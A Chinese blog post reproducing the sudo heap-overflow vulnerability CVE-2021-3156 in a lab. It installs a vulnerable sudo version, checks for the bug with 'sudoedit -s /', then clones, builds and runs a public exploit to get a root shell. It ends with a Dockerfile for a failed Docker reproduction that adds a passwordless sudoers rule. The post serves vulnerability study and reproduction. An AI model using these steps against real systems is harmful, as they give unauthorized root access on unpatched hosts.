CVE-2021-3156 漏洞复现

漏洞描述

这个漏洞被披露于2021年1月26日。漏洞的载体是我们常用的sudo命令。当sudo通过-s或-i命令行选项在shell模式下运行命令时,它将在命令参数中使用反斜杠转义特殊字符。但使用-s或-i标志运行sudoedit时,实际上并未进行转义,从而可能导致缓冲区溢出。因此只要存在sudoers文件(通常是/etc/sudoers),攻击者就可以使用本地普通用户利用sudo获得系统root权限。研究人员利用该漏洞在多个Linux发行版上成功获得了完整的root权限,包括Ubuntu 20.04(sudo 1.8.31)、Debian 10(sudo 1.8.27)和Fedora 33(sudo 1.9.2),并且sudo支持的其他操作系统和Linux发行版也很容易受到攻击。

环境准备

  • Ubuntu 20.04.2 LTS

  • sudo=1.8.31-1ubuntu1

  • 这里要注意sudo的版本必须为1.8.31-1ubuntu1。1.8.31-1ubuntu1.2版本的sudo貌似已经修复了这个漏洞。

  • 我们可以使用以下命令获得软件的不同版本

    apt-cache madison sudo
    

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-jnsVcNnQ-1620887938178)(CVE-2021-3156 漏洞复现.assets/apt-cache.png)]

  • 然后我们可以通过在软件后面加上=版本号来安装指定的版本。

    sudo apt install sudo=1.8.31-1ubuntu1
    

漏洞复现

  • 在准备好测试环境后,漏洞复现会变得非常简单。

  • 我们先输入

    sudoedit -s /
    
  • 来看看是否存在该漏洞

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-pHXUCqwg-1620887938180)(CVE-2021-3156 漏洞复现.assets/sudoedit-1620886242979.png)]

  • 如果报错的错误是以sudoedit开头的,那么恭喜你的机器可能收到了该漏洞的影响,如果你返回的错误是以usage:开头的,那么你也许得换种环境来复现。

  • 然后我们需要从blasty/CVE-2021-3156 (github.com)上克隆exp

     git clone https://github.com/blasty/CVE-2021-3156.git
    
  • 然后我们进入文件夹执行make指令进行编译

    cd CVE-2021-3156.git
    make
    
  • 当然这需要你之前安装过make,同时make时会调用gcc,如果你都没有得话需要提前安装。

    sudo apt install -y make gcc
    
  • 然后我们执行文件就可以成功得到root shell

    ./sudo-hax-me-a-sandwich 0
    

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-3pGWil1e-1620887938181)(CVE-2021-3156 漏洞复现.assets/root.png)]

尚存的疑惑

当我试图在docker镜像中复现此漏洞时出现了问题。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-5T0x9uGH-1620887938182)(CVE-2021-3156 漏洞复现.assets/docker错误.png)]

以下是我的dockerfile

FROM ubuntu:20.04

LABEL Author="wuuconix <wuuconix@gmail.com>"
LABEL Blog="https://blog.csdn.net/Cypher_X"

COPY ./files /tmp/
RUN \cp -rf /tmp/sources.list /etc/apt/sources.list \
  && apt-get update \
  && apt install -y sudo=1.8.31-1ubuntu1\
  && apt install -y make \
  && apt install -y gcc \
  && apt install -y vim \
  && apt install -y git \
  && useradd -ms /bin/bash -G sudo wuuconix \
  && echo '%sudo ALL=(ALL) NOPASSWD:ALL' >> /etc/sudoers \
  && echo "wuuconix:1234" | chpasswd \
  && chown -R wuuconix:wuuconix /home/wuuconix/ 

USER wuuconix
WORKDIR /home/wuuconix

RUN cd /home/wuuconix/ \
  && git clone https://github.com/blasty/CVE-2021-3156.git \
  && cd CVE-2021-3156 \
  && make 

如果有大佬看见,可以帮我看看哪里出错了。以下是源码和docker image

wuuconix/CVE-2021-3156-Dockerfile-not-succeed(github.com)

Docker Hub wuuconix/cve-2021-3156-not-succeed

参考链接

CVE-2021-3156 漏洞复现 附带 提权exp - 誉津 - 博客园 (cnblogs.com)

Logo

为开发者提供学习成长、分享交流、生态实践、资源工具等服务,帮助开发者快速成长。

更多推荐